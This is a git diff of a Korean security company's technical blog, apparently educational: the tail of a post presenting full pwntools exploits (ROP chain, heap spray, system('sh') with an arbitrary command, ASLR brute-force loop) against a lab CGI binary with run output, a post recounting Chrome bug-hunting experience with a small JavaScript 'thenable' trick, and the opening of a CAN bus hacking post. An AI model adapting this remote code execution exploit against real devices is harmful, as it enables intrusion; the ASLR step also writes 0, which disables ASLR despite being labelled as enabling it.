+leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
+
+# ETC.
+str_t = 0x10e66
+
+def purl32(value):
+    a = (value & 0x000000ff) >> 0
+    b = (value & 0x0000ff00) >> 8
+    c = (value & 0x00ff0000) >> 16
+    d = (value & 0xff000000) >> 24
+    return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
+
+def form_packet(ip, param, content=''):
+    packet  = ""
+    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+    packet += "Host: {}\r\n".format(ip)
+    packet += "Connection: keep-alive\r\n"
+    packet += "Content-Length: {}\r\n".format(len(content))
+    packet += "User-Agent: Mozilla/5.0\r\n"
+    packet += "Accept: */*\r\n"
+    packet += "Origin: http://{}\r\n".format(ip)
+    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+    packet += "Accept-Encoding: gzip, deflate\r\n"
+    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+    packet += "\r\n"
+    packet += content
+    packet += "\r\n"
+    return packet.encode()
+
+def form_param(payload='', spray=''):
+    p = ["t=sh", "ifconfig=y"]
+    if payload:
+        p.append("comment="+payload)
+    if spray:
+        p.append("ss="+spray)
+    return "&".join(p)
+
+def payload(r11, lr, dummy_len=54):
+    payload = cyclic(dummy_len).decode()
+    payload += purl32(r11)
+    payload += purl32(lr)
+    return payload
+
+def chain(func, r0, r1, r2):
+    c = ''
+    c += purl32(0x00000000) # r4
+    c += purl32(func)       # [r5] => r3
+    c += purl32(0x00000000) # r6
+    c += purl32(r0)         # r7 => r0
+    c += purl32(r1)         # r8 => r1
+    c += purl32(r2)         # r9 => r2
+    c += purl32(0x00000000) # r10
+    c += purl32(csu_2)      # pc
+    return c
+
+def spray():
+
+    # If we already got spray buffer, use it.
+    global spray_fix
+    if len(spray_fix):
+        return spray_fix
+
+    # Return-to-csu.
+    rop = purl32(csu_1)
+
+    # Set bss:0x20 to get_val address.
+    for i in range(4):
+        addr = e.bss(0x20+i)
+        value = e.symbols['get_val'] >> (i*8) & 0xff
+        rop += chain(e.got['memset'], addr, value, 1)
+
+    # get_val("t", bss:0x24, 2): returns "sh"
+    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
+    
+    # system("sh")
+    rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+
+    # Forming spray.
+    spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
+    spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
+    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
+    spray += rop
+
+    # Fix the spray buffer.
+    spray_fix = spray
+
+    return spray
+
+def exploit(ip, command):
+
+    # ifconfig's output length is not fixed.
+    # So, we need to get the buffer first to calculate
+    # the overflow size.
+    log.info("Getting buffer.")
+    packet = form_packet(ip, form_param())
+    p = remote(ip, 80)
+    p.send(packet)
+    r = p.recv().decode()
+    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
+    dummy_len = 0x204 - len(r)
+    p.close()
+
+    log.info("Exploit.")
+    stack  = 0xbefe1db4+4
+    pload  = payload(stack, leave, dummy_len)
+    param  = form_param(pload, spray())
+    packet = form_packet(ip, param, command)
+    p = remote(ip, 80)
+    p.send(packet)
+    p.close()
+
+    log.info("Success!")
+
+if __name__ == "__main__":
+    if (len(sys.argv) == 3):
+        exploit(sys.argv[1], sys.argv[2])
+    else:
+        print("{} [target-ip] [shell command]".format(sys.argv[0]))
+
+ +
bc@machine $ ./exploit.py 172.16.13.9 'echo PWNED > /tmp/pwned'
+[*] '/mnt/c/Users/314ckC47/Documents/CGI Exploitation/source/vuln'
+    Arch:     arm-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      No PIE (0x10000)
+[*] Getting buffer.
+[*] Exploit.
+[*] Success!
+
+ +
/home/314ckC47 $ cat /tmp/pwned
+PWNED
+
+ +

Case: ASLR 활성화

+ +

다음과 같이 ASLR을 활성화합니다.

+ +
# echo 0 > /proc/sys/kernel/randomize_va_space
+# cat /proc/sys/kernel/randomize_va_space
+0
+
+ +

종료 조건

+ +

sp가 참조하는 지점에 대해 Brute-forcing을 수행합니다. +Brute-forcing의 종료 조건을 위해 ROP Payload가 성공적으로 수행 될 경우 프로그램을 abort시켜 500 Internal error를 발생시키지 않도록 합니다.

+ +
    # system("sh")
+    rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+
+    # abort
+    rop += "AAAA"*7 + purl32(abort)
+
+ +

ASLR 공격 코드

+ +
#!/usr/bin/python3
+
+from pwn import *
+
+e = ELF("./vuln")
+
+# Globals & Defines
+spray_fix = ''
+SPRAY_LEN = 0xf000
+EADDR_LEN = 12
+
+# Gadgets
+sled_1 = 0x00010ca4 # pop {r11, pc}
+sled_2 = 0x000108e0 # pop {r4, r11, pc}
+csu_1  = 0x00010d28
+csu_2  = 0x00010d0c
+leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
+
+# ETC.
+str_t = 0x00010e66
+abort = 0x0001055c
+
+def purl32(value):
+    a = (value & 0x000000ff) >> 0
+    b = (value & 0x0000ff00) >> 8
+    c = (value & 0x00ff0000) >> 16
+    d = (value & 0xff000000) >> 24
+    return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
+
+def form_packet(ip, param, content=''):
+    packet  = ""
+    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+    packet += "Host: {}\r\n".format(ip)
+    packet += "Connection: keep-alive\r\n"
+    packet += "Content-Length: {}\r\n".format(len(content))
+    packet += "User-Agent: Mozilla/5.0\r\n"
+    packet += "Accept: */*\r\n"
+    packet += "Origin: http://{}\r\n".format(ip)
+    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+    packet += "Accept-Encoding: gzip, deflate\r\n"
+    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+    packet += "\r\n"
+    packet += content
+    packet += "\r\n"
+    return packet.encode()
+
+def form_param(payload='', spray=''):
+    p = ["t=sh", "ifconfig=y"]
+    if payload:
+        p.append("comment="+payload)
+    if spray:
+        p.append("ss="+spray)
+    return "&".join(p)
+
+def payload(r11, lr, dummy_len=54):
+    payload = cyclic(dummy_len).decode()
+    payload += purl32(r11)
+    payload += purl32(lr)
+    return payload
+
+def chain(func, r0, r1, r2):
+    c = ''
+    c += purl32(0x00000000) # r4
+    c += purl32(func)       # [r5] => r3
+    c += purl32(0x00000000) # r6
+    c += purl32(r0)         # r7 => r0
+    c += purl32(r1)         # r8 => r1
+    c += purl32(r2)         # r9 => r2
+    c += purl32(0x00000000) # r10
+    c += purl32(csu_2)      # pc
+    return c
+
+def spray():
+
+    # If we already got spray buffer, use it.
+    global spray_fix
+    if len(spray_fix):
+        return spray_fix
+
+    # Return-to-csu.
+    rop = purl32(csu_1)
+
+    # Set bss:0x20 to get_val address.
+    for i in range(4):
+        addr = e.bss(0x20+i)
+        value = e.symbols['get_val'] >> (i*8) & 0xff
+        rop += chain(e.got['memset'], addr, value, 1)
+
+    # get_val("t", bss:0x24, 2): returns "sh"
+    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
+
+    # system("sh")
+    rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+
+    # abort
+    rop += "AAAA"*7 + purl32(abort)
+
+    # Forming spray.
+    spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
+    spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
+    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
+    spray += rop
+
+    # Fix the spray buffer.
+    spray_fix = spray
+
+    return spray
+
+def exploit(ip, command):
+
+    # ifconfig's output length is not fixed.
+    # So, we need to get the buffer first to calculate
+    # the overflow size.
+    log.info("Getting buffer.")
+    packet = form_packet(ip, form_param())
+    p = remote(ip, 80)
+    p.send(packet)
+    r = p.recv().decode()
+    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
+    dummy_len = 0x204 - len(r)
+    p.close()
+
+    log.info("Exploit.")
+    while True:
+        stack  = 0xbefe1dd4
+        pload  = payload(stack, leave, dummy_len)
+        param  = form_param(pload, spray())
+        packet = form_packet(ip, param, command)
+        p = remote(ip, 80)
+        p.send(packet)
+        r = p.recv()
+        p.close()
+        if r.find(b"200 OK") != -1:
+            break
+
+    log.info("Success!")
+
+if __name__ == "__main__":
+    if (len(sys.argv) == 3):
+        exploit(sys.argv[1], sys.argv[2])
+    else:
+        print("{} [target-ip] [shell command]".format(sys.argv[0]))
+
+ +

끝내면서

+ +

CGI를 공격하는 방법에 대해 알아보았습니다. 일반적으로 웹 CGI 프로그램 혹은 CGI는 문자열을 처리하는 코드가 많습니다. 문자열을 처리하는 코드에서 주로 발생할 수 있는 String copy buffer overflow의 공격 방법에 대해 알아보았고, 안정적인 공격 코드를 작성하는 법에 대해 알아 보았습니다.

+ +

추가적인 질문 사항과 수정사항은 dhkim@stealien.com으로 남겨 주시면 감사하겠습니다.

+ +
+ +
+
    +
  1. +

    https://www.lighttpd.net/ 

    +
  2. +
  3. +

    CGI Environment Variables 

    +
  4. +
  5. +

    strcat 

    +
  6. +
  7. +

    Buffer overflow 

    +
  8. +
  9. +

    Return oriented programming 

    +
  10. +
+
+ +
+
+
+ +
+
+
김도현
+
dhkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-09-25/bug_hunting.html b/docs/2020-09-25/bug_hunting.html new file mode 100644 index 0000000..c72842e --- /dev/null +++ b/docs/2020-09-25/bug_hunting.html @@ -0,0 +1,345 @@ + + + + + + + + + + +이번생에 버그헌팅은 처음이라 + +이번생에 버그헌팅은 처음이라 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
이번생에 버그헌팅은 처음이라
+
+
+ + 오우진 +
+
Sep 25, 2020
+
+
+
+
+
+

이번생에 버그헌팅은 처음이라

+ +

많은 주니어 해커들은 CTF로 해킹을 배운다. 나 역시도 많은 CTF를 참여하며 실력을 키워나갔다. CTF는 제한된 시간안에 많은 지식을 배울수있는 좋은 “Play”다. 하지만 리얼월드와 상당한 괴리감이 존재한다고 생각한다. 내가 CTF에서 일명 고인물이 돼가는 시점에서 버그헌팅을 시작했을때 정말 막막했다. 어떤 소프트웨어를 대상으로 할지도 몰랐고 Fuzzer를 만들어야될지 순수 오디팅으로 찾아야될지 선택하는것도 정말 어려웠다. CTF와 달리 버그헌팅은 명확한 Goal과 Methodology이 존재하지않았다.

+ +

인터넷상에는 1day 분석글이나 Exploitation관한 기술론 밖에 없었다. 버그헌팅하는데에 많은 도움을 주었지만 처음시작하는 사람들에게는 이러한글보다 버그헌팅 스토리가 더 도움이 될거라고 생각한다.

+ +

이 글에서는 기술적인 내용보다 내가 2019년부터 오늘날까지 버그헌팅을 하기위해 어떤노력을 하였고 어떻게 학습하였는지를 이야기할 것이다.

+ +

포석

+ +

바둑에서는 초반에 돌을 두는 방법들을 총칭하여 포석이라한다. 이는 대국 중반부터 게임을 이끌어나가기위한 중요한 열쇠이기때문에 신중하게 두곤한다. 나도 버그헌팅을 처음 시작할때 좋은 포석을 두기위해 많은 고민을 했다. 먼저 나의 장점과 단점을 생각해보았다. CTF을 할때부터 나는 리버싱실력이 다른 동기들에 비해 수준이하였지만 취약점은 나름 빠르고 쉽게 찾았던거 같았다. 그래서 리버싱이 비교적 많이 필요한 클로즈소스 소프트웨어보다 소스코드가 공개돼있는 오픈소스 소프트웨어를 타겟으로 하기로 마음먹었다.

+ +

오픈소스는 상당히 진입장벽이 높았다. 대게 버그바운티를 하는 오픈소스들은 많은 해커들의 타겟이 되어왔고 이미 많은 취약점들이 발견됐다. 그 중 웹브라우저는 레드오션 그 자체였다. 하지만 그 만큼 부와 명예가 따르고 있었기때문에 나의 첫 취약점을 웹브라우저 취약점으로 멋있게 장식하고 싶었다.

+ +

삼자택일

+ +

웹브라우저는 대표적으로 Firefox, Safari, Chrome, Edge가 있다. 그 중 Edge는 현재 Chromium 코드를 사용하지만 내가 버그헌팅을 시작했을때는 Mshtml과 ChakraCore엔진을 사용하고있었다.

+ +

FireFox와 Chrome은 다른 브라우저보다 최신 Web Platform 기능들을 빨리 적용하는 특징이 있었다. 또한 Chrome의 경우 다양한 레퍼런스가 Public하게 제공되어서 전체적인 아키텍처를 이해하는데 많은 도음을 받을수있었다. 이러한 이유때문인지 Chrome은 많은 버그들이 제보되어왔고 지금은 Critical한 버그들이 많이 줄어든 상태이다. 흔히들 난공불락이라고도 부른다.

+ +

chrome-vrp

+ +

하지만 버그바운티 금액이 상당히 높기때문에 해볼만한 도전이라고 생각했다. 그리고 앞서 말했듯이 공개된 레퍼런스가 많아서 혼자 학습하는데 좋은 조건이였다.

+ +

콩 심은 데 콩 나고 팥 심은 데 팥 난다

+ +

CTF를 하다보면 문득 고등학교때 수학문제를 푸는 상황이 연상될때가 있다. 정해진 답이 있고 필요한 것은 연필, 지우개만 있으면 됐다. CTF도 마찬가지로 시스템해킹문제가 나오면 문제바이너리를 실행할수있는 VM환경과 리버싱을 위한 IDA 하나면 충분했고 출제자의 “의도”대로 취약점을 찾으면 됐다.

+ +

하지만 버그헌팅은 달랐다. 출제자의 의도라는건 애초에 존재하지않고 CTF보다 비교도 안되게 큰 리얼월드 바이너리를 편하게 분석할 수 있는 환경을 만드는것이 보기보다 어려운 작업이였다.

+ +

내 타겟은 크로미움이였고 매우 큰 오픈소스 프로젝트이기때문에 필연적으로 분석할수있는 충분한 성능의 데스크탑이 필요하였다.(성능이 안좋을경우 생각보다 빌드시간이 많이 낭비된다)

+ +

빌드환경 구축은 구글에서 충분히 자세하게 문서로 정리되어있었다. (해당 문서가 생각보다 길어보일수있는데 유용한 팁들이 많이 적혀있으니 꼼꼼히 읽어봐야한다. 예를 들어 빌드시간을 단축할수있는 팁)

+ +

처음에는 빌드하기도 어려웠고 디버깅하기도 어려웠다. 하지만 여러가지 시행착오를 겪으며 노하우가 생기고 나에게 맞는 환경을 구축할 수 있게되었다.

+ +

(빌드, 디버깅, Exploit 개발 환경을 효율적으로 구축하는 것도 실력이고 자산이라는 것을 알게되었다.)

+ +

사활

+ +

Chromium의 Attack Surface는 대표적으로 자바스크립트 엔진인 v8과 Web Platform엔진인 Blink가 있다. 나의 경우 2017년에 ChakraCore엔진을 본 경험이 있어서 V8를 먼저 보기로하였다. 지금 생각해보면 이 선택이 지금까지 Chromium에서 취약점을 찾는데에 있어서 좋은 기반을 쌓게해준거 같다. (웹브라우저의 원격 취약점들은 다양한 컴포넌트들이 있지만 대부분 Javascript로 Trigger한다. 이 때문에 javascript 엔진을 정확히 이해하는것은 많은 도움이 된다.)

+ +

고찰

+ +

Fuzzing 은 정말 매력적인 기법이다. 이미 많은 해커들이 Fuzzing을 해왔고 지금 이 순간에도 취약점들이 찾아지고있을것이다. 누구나 버그헌팅을 시작할때 Fuzzer를 만들어볼까라는 생각이 해보았을것이고 나도 그런 생각을 많이 했다. 하지만 과연 내가 지금 Fuzzer만들어서 의미있는 결과를 만들수 있을까?라는 생각이 더 지배적이였다. 물론 창의적인 Fuzzing Idea를 생각해내면 좋은 결과가 나왔었겠지만 나는 뭐 딱히 좋은 아이디어가 생각나지 않았다. 그래서 좋은 아이디어가 생각날때까지 Fuzzing을 사용하지않고 소스오디팅을 하기로하였다. (아직까지도 소스오디팅을 하고 있다..)

+ +

처음에는 무작정 코드를 읽었고 6개월이상동안 열심히 하였지만 취약점을 하나도 못찾았다. 이 일을 겪은 후 난 무작정 소스오디팅으로 찾는건 비효율적이라는것을 깨달았다. 오래전부터 Javascript대상으로 Fuzzing연구들이 많이 되어왔기때문이다. 이 깨달음은 별거없어보이지만 내 버그헌팅에 있어서 큰 전환점이 되었다.

+ +

이후 난 Fuzzing과의 싸움에서 이길수 있는 방법을 계속해서 고민했고 여러가지 시행착오를 거쳐 몇가지 결과를 도출해냈다.

+ +

도약

+ +

v8 코드와 열심히 싸우는 도중에 우연히 Project Zero 블로그에서 글 하나를 보게되었다. 내용은 대충 WebAssembly 취약점에 관한 것이였다. 버그 클래스들은 딱히 흥미로운게 없었다.하지만 난 WebAssembly의 미래와 관심도(?)를 유심있게 보았다. 내가 왜 이러한 생각을 한 것인지 이해하려면 꽤 오래전으로 거슬러 올라가야한다.

+ +

2016년, ChakraCore가 처음으로 공개되었을때 취약점이 아주 많이 발생했다. 대게 ECMAScript6 와 관련된 취약점이였다. 왜 이런 취약점이 많이 발생했을까? 물론 ChakraCore가 릴리즈된지 얼마안돼서 그런것 일 수 도 있다. 하지만 근본적인 문제는 ECMAScript 6 표준 구현이라고 생각한다. 표준을 코드로서 구현하는것은 매우 어려운일이다. V8, SpiderMonkey, JavascriptCore들은 ECMAscript라는 같은 표준을 사용하지만 구현코드를 보면 전혀 다르다. ChakraCore는 릴리즈된지 얼마되지도 않았을뿐만 아니라 ECMAScript 6도 Draft가 끝난지 얼마 안된상태에서 구현을 했기때문에 매우 불안정한 상태였을것이다. 이는 ChakraCore의 수많은 취약점들이 증명해준다.

+ +

난 이 상황이 WebAssembly에도 적용될것이라고 생각했다. WebAssembly또한 ECMAscript처럼 표준이 존재하며 현재 많은 기능들이 추가되고 있다. 무엇보다 V8과 SpiderMonkey는 다른 Javascript엔진들보다 훨씬 빨리 표준을 구현하고있다. 표준이 구현된지 얼마 안되었고 계속해서 개발되고있기때문에 분명히 취약점이 있을거라고 확신했다.

+ +

또한 WebAssembly 취약점에 대한 조사를 하던도중 흥미로운 것을 발견하였다. The Problems and Promise of WebAssembly 포스팅은 2018.8에 작성되었고 10개 남짓한 Webassembly 취약점들은 2018 ~ 2017 사이에 발견되었다. 이 말은 2018년 이후 WebAssembly 취약점이 발견되지 않았다는것이다. 위에서 언급했듯이 WebAssembly는 활발히 개발되고있었기때문에 2018년 이후에 새로 나온 기능들이 상당히 많았다. 이 기능들은 아직 해커들에게 관심을 못했기때문에 충분한 블루오션이였다.

+ +

데뷔전

+ +

나의 첫번째 두번째 취약점은 WebAssembly에서 나왔고 위 전략이 효과적이었다는것을 증명해준다.

+ +

나의 첫 취약점, issue 964607 는 WebAssembly Reference Table 구현 코드에서 발생했다. 이 기능은 활발히 개발중(experimental)이였기때문에 보안성이 매우 떨어진 상태였다. 리포트를 보면 알 수 있듯이 취약점 자체는 매우 쉽고 간단했다. 하지만 우리는 여기서 취약점의 복잡성, 창의성보다는 이 취약점이 어떻게 기인되었는지를 주목해야한다.

+ +

WebAssembly는 초기에 Function Table만 있었지만 Any Reference Table이 새로 생기게되었다. 이러한 객체 타입의 확장은 이전기능과 새로운 기능 구현 코드들이 필연적으로 병합된다. 기존에 구현된 코드에서 사용된 모듈들은 새로 추가된 기능들에 맞춰 변화해야 될 수 도있다. 이 과정에서 예기치 못한 상황이 발생될수있다. 예를 들어 배열 길이의 증가, 배열 타입 변형, User callback(side effect) 등이 있다. issue 964607 는 변화한 배열 길이의 증가를 예상하지 못해 발생했다.

+ +

두번째 취약점(issue 980475)도 WebAssembly Reference Table과 관련이 깊다. 첫 취약점과 다른점이 있다면 WebAssembly의 새로운 기능인 bulk memory와도 관련이 있다는것이다. 이 취약점 역시 새로 추가된 기능이 기존 모듈에 영향을 줄 수 있다는 것을 예상하지못해 발생했다.

+ +

나의 데뷔전은 이렇게 마무리가 되었다. 비록 Stable이 아닌 experimental 취약점들이여서 CVE는 못 받았지만 이것으로 인해 많은 성장을 이루었다는것은 확실하다.(Stable이 아니여도 포상금을 똑같이 받을수있다!)

+ +

comment

+ +

수명주기

+ +

수험생 시절 역사 선생님들이 항상 하시던 말이 있었다. 역사는 반복된다. 전 세대에 있었던 일이 현 세대에도 일어날수 있다는 말이다. 1-day 취약점들을 조사하면서 이 말이 버그에 적용될수도 있다는 생각이 들었다.

+ +

Issue 782145는 2017년 11월에 발생한 취약점이다. RegExp 객체는 fast type과 slow type이 존재한다. Replace함수는 인자로 RegExp 객체를 받을 수 있는데 타입에 따라 함수 Flow가 달라진다. 하지만 해당함수에서는 타입을 적절하게 검사하지 못하여 Type Confusion이 일어날수 있었다.

+ +

다음은 pwn2own 2019에서 사용된 Issue 944971이다. 해당 취약점은 Issue 782145와 매우 유사하였다. poc코드를 보면 더욱 비슷해보일뿐만 아니라 Root Cause도 같은 패턴이었다. 마치 생명주기를 보는듯 했다. 이와 비슷한 현상을 갖는 취약점들은 한 두개가 아니였다.

+ +

이로부터 내가 얻은 교훈이 있었다.

+ +
    +
  1. +

    1-day 분석은 전체적인 코드의 흐름뿐만 아니라 미래의 다시 나올 취약점에 대비를 할수있다.

    +
  2. +
  3. +

    안전했던 코드도 첨삭을 통해 다시 취약해질수 있다.

    +
  4. +
+ +

때로는 우연히

+ +

WebAssembly 취약점을 찾은후 학교생활을때문에 몇달간 버그헌팅을 못했다. 2020년 2월부터 다시 시작했는데 이때는 Chrome Mojo(Sandbox Escape 취약점) 붐이 일어나고 있었다. 원래 Javascript 취약점을 다시 찾고싶었지만 트렌드에 따라 Mojo 취약점을 보기 시작했다.

+ +

Mojo에 관련된 레퍼런스들은 생각보다 많았고 Mark BrandMan Yue Mo가 찾은 Mojo 취약점들은 아주 많은 도움이 됐다. Mojo를 공부한지 한달이 됐을 무렵에 소스오디팅을 시작했다. Mojo붐은 이미 1년넘게 지속된지라 블루오션에서 레드오션으로 변화되는 시점이였다. 지푸라기라도 잡고싶은 심정으로 코드를 주구장창 보았다. 하지만 2주넘게 수확이 없었다.

+ +

포기 할 때 쯤 우연히 한 커밋을 보았다. 이 커밋은 내가 1주전에 보았던 WebSocket Mojo Service 부분이였고 몇몇의 함수을 추가하는 커밋이었다.

+ +

처음에는 별 생각 안하고 리뷰를 했지만 이 커밋으로 인해 전에는 없었던 UAF 취약점이 일어날수 있다는것을 인지하는데 그리 많은시간이 걸리지 않았다. 난 이 취약점을 발견하고 나서 꾸준히 커밋을 보는 습관이 생겼다. 이 습관은 향후 내 버그헌팅 삶의 많은 발전을 기여했다. 버그헌팅을 부업으로 삼고있는 사람에게 딱 한개의 조언을 할 수있다면 난 무조건 커밋 읽는 습관을 들이라고 말 할 것이다.

+ +

때때로 취약점은 작은 커밋 하나로 기인 될 수 있다.

+ +

같은 그림찾기

+ +

스타크래프트에는 다양한 치트키가 있다. Show me the money라고 치면 미네랄과 가스를 얻을 수 있고 Power Overwhelming를 치면 무적이 될 수 있다. 버그헌팅에는 당연히 치트키가 없다. 하지만 비슷한 것은 있다! 바로 버그클래스다. 좋은 버그 클래스를 발견하면 그것 하나로도 상당히 많은 취약점을 찾을 수 있다. 나도 몇개의 버그 클래스로 많은 재미를 봤다.

+ +

좋은 버그 클래스는 무엇일까? 난 두 가지 조건이 필요하다고 생각한다.

+ +
    +
  1. +

    다른 해커는 모르고 나만 아는 버그 클래스이다.

    +
  2. +
  3. +

    개발자는 모르고 해커만 인지하고 있다.

    +
  4. +
+ +

사실 첫번째 조건이 충족되면 두번째 조건도 충족될것이다. 하지만 두번째 조건만 충족해도 많은 재미를 볼 수 있을것이다. 버그클래스가 한번 리포트되면 해커들에게 알려지는건 시간문제이고 다른해커들이 찾기전에 내가 더 빨리 찾으면 된다.

+ +

Issue 931640 리포트를 보면 재밌는 트릭이 있다.

+ +
Object.prototype.__defineGetter__("then", function() {
+
+  if (++then_counter == 1) {
+
+   controller.close();
+
+   performMicrotaskCheckpoint();
+
+  }
+
+ });
+
+ +

이 트릭은 2016년 UXSS 취약점에서 기인한 트릭이다.

+ +
var thenable = {get then() { console.log(2); }}
+
+console.log(1); Promise.resolve(thenable); console.log(3)
+
+ +

Promise.resolve는 인자로 오브젝트를 받으면 then이라는 property를 가져온다. 이때 유저는 getter를 사용하여 then를 가져올때 user-defined function를 실행할수있다. 아마 이 글을 읽고있는 대부분의 독자분들은 몰랐을것이다. 보통의 개발자들도 이러한 스펙을 알지 못했을것이다. 이러한 side effect는 많은 취약점을 야기 시킬 수 있다.

+ +

내가 이 Thenable Object 트릭을 인지하고 찾기 시작했을때는 다른 해커들이 별로 관심을 갖지않고 있었다. 덕분에 많은 취약점을 찾을 수 있었다. 하지만 3~4달후에 해커들이 해당 트릭을 인지하고 많은 버그들이 Kill 되어버렸다…

+ +

재미를 본 또다른 버그클래스는 render_frame_host라는 raw pointer의 lifetime 문제였다. 이 클래스는 Plaid CTF 문제로 출제되었다. 이로인해 해커들에게 많은 관심을 받게되었다. 그래서 난 빠르게 취약점을 찾아 바로바로 신고하였다.

+ +

앞서말한 좋은 버그 클래스의 조건중에서 첫번째 조건을 만족 시키는것은 매우 어려운 일이다. 그렇기때문에 이미 공개된 버그클래스를 선별하여 빠르게 찾는게 더 효율적인 방법이라고 생각한다.

+ +

초읽기

+ +

크롬에서 버그헌팅을 하다보면 정식버전(stable)이 아닌 취약점을 찾을때가 많다. 솔직히 버그를 찾는 입장에서 Stable취약점을 찾아 CVE credit을 받고 싶을것이다.(stable이 아니면 CVE Credit안줌) 그래서 이러한 취약점을 찾았을때 난 가끔 초읽기를 한다. 크롬은 보통 한달마다 버전업을 한다. 스케쥴이 엄청 체계적이며 베타, 개발자 버전에서 많은 취약점들이 제거된다. 때문에 자신의 취약점이 정식버전으로 되는것은 여간 쉬운일이 아니다. 버그 초읽기를 하는건 정말 스트레스를 받는 일 이었다. 이제는 내 버그가 정말 찾기 어려운 버그인지 자가진단을 하고 초읽기를 하는 편이다.

+ +

나의 진단법은 chrome release security update를 보는것이다. 크롬은 일주일마다 보안업데이트를 하는데 그 주에 패치된 버그들의 ID를 공개해준다. 이를 통해 패치된 버그의 Root Cause를 분석하여 버그클래스를 알아낼수있다.

+ +

버그클래스들은 유행를 타기 때문에 내가 찾은 버그와 같은 클래스라면 초읽기를 그만두고 신고해야한다.

+ +

Chrome Platform Status 사이트에서 크롬 릴리즈 스케쥴을 확인할수있다. 이것을 보고 기도를 하자

+ +

복기

+ +

버그헌팅을 시작한지 2년차가 되어서야 실적이 조금씩 생기기 시작했다. 난 남들처럼 재능이 있는 해커가 아니었기때문에 코드를 “읽는다” 라는 것보다는 “익숙해진다”라는 느낌으로 해왔던거 같다. 매일매일 아침을 먹으며 코드와 커밋을 보니 이해가 안되던 크롬 아키텍처가 조금씩 익숙해졌다. 구조가 익숙해짐으로써 코드를 빠르게 읽어갈수있게되었고 취약점이 보이기 시작했다.

+ +

내가 버그를 찾았던 순간은 잠을 줄여가며 코드를 보던 밤이 아니라 편안한 숙면을 취하고 간단하게 코드를 리뷰하던 아침이었다. 버그헌팅은 CTF처럼 짧은 시간에 끝내는 놀이가 아니였다. 멀리보며 꾸준히 코드를 읽는게 중요하다는 것을 깨달았다.

+ +

물론 내가 부족했던점도 있었다. 레퍼런스들을 잘 보지 않았다는 것이다. 때때로 코드에서는 수천줄을 읽어야 되는 것을 레퍼런스 한개만 읽어도 이해되는 구조가 몇몇 있었다. 이러한 시행착오를 격고 최근에서는 레퍼런스를 열심히 읽는중이다.

+ +

이 글은 오로지 저의 생각이며 정답이 아닙니다. :D

+ +
+
+
+ +
+
+
오우진
+
woh@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-10-29/can_bus_1.html b/docs/2020-10-29/can_bus_1.html new file mode 100644 index 0000000..bea0c8c --- /dev/null +++ b/docs/2020-10-29/can_bus_1.html @@ -0,0 +1,581 @@ + + + + + + + + + + +CAN BUS + +CAN BUS | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
CAN BUS
+
+
+ + 서영일 +
+
Oct 29, 2020
+
+
+
+
+
+

Prologue

+

최근 자동차 해킹에 대해 관심을 가지는 사람들이 늘고 있다. 워낙 차를 좋아해서 기회가 생기면 자동차 해킹을 해봐야겠다고 생각했었는데 마침 기술 블로그에 기고할 차례가 되어 글을 쓰게 되었다.

+ +

아무거나 다 해볼 수 있는 차가 있었으면 좋았을 것이다. 그러나 타고 다닐 차를 실습용으로 쓰기엔 불안하고, 그렇다고 실험용 차를 따로 구매하는 건 꽤 부담스럽다. 게다가 자동차 해킹 실습하는데 철판이나 바퀴 같은 게 필요한 건 아니니까 새로운 방법을 써보자!

+ + + + + + + + + + + + +
image-20201028170658529
사실 자동차는 꽤나 비싼 물건이다….
+ +

ECU를 활용하면 좋을 것이다. 자동차와 관련된 연산은 대부분 ECU에서 이뤄지기 때문이다. 그러한 고로, 이번 글에서는 ECU를 활용한 해킹 테스트 환경을 구성해본다.

+ +

ECU란 무엇인가

+ + + + + + + + + + + + +
ecu_pic
출처 : https://images.app.goo.gl/PRsNPqiKFuc95ni66
+ +

